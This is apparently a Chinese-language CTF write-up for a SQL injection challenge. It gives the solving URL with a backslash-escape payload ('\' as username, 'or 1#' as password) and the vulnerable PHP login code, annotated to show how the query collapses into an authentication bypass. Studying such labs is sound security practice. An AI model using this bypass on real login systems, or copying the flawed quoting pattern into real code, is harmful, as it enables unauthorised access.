CG-CTF | SQL Injection
没错我又偷偷写了道web【并查集好难啊,脑阔疼QAQ】
http://chinalover.sinaapp.com/web15/index.php?username=%5C&password=or%201%23
记得要url编码后再发啊喂!!
<? error_reporting(0); require 'db.inc.php'; function clean($str) { //返回当前 magic_quotes_gpc 配置选项的设置 //如果 magic_quotes_gpc 为关闭时返回 0,否则返回 1。在 PHP 5.4.O 起将始终返回 FALSE。 if(get_magic_quotes_gpc()) { $str=stripslashes($str); //stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。 } return htmlentities($str, ENT_QUOTES); //把字符转换为 HTML 实体: //ENT_QUOTES - 编码双引号和单引号。 //过滤单引号,双引号 } $username = @clean((string)$_GET['username']); $password = @clean((string)$_GET['password']); $query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; /* $query='SELECT * FROM users WHERE name=\''\'\' AND pass=\''or 1#'\';'; 1:'SELECT * FROM users WHERE name=\'' 2:.$username. 3:'\' AND pass=\'' 4:.$password. 5:'\';' ---->SELECT * FROM users WHERE name=\'.$username.\' AND pass=\'.$password.\'; ---->SELECT * FROM users WHERE name='\' AND pass='or 1#'\'; ---->SELECT * FROM users WHERE name='[一堆乱七八糟没啥有意义的字符]'or 1#'\'; ---->SELECT * FROM users WHERE name=''or 1#; */ $result=mysql_query($query); if(!$result || mysql_num_rows($result) < 1) { die('Invalid password!'); //mysql_num_rows() 函数返回结果集中行的数目。 } echo $flag;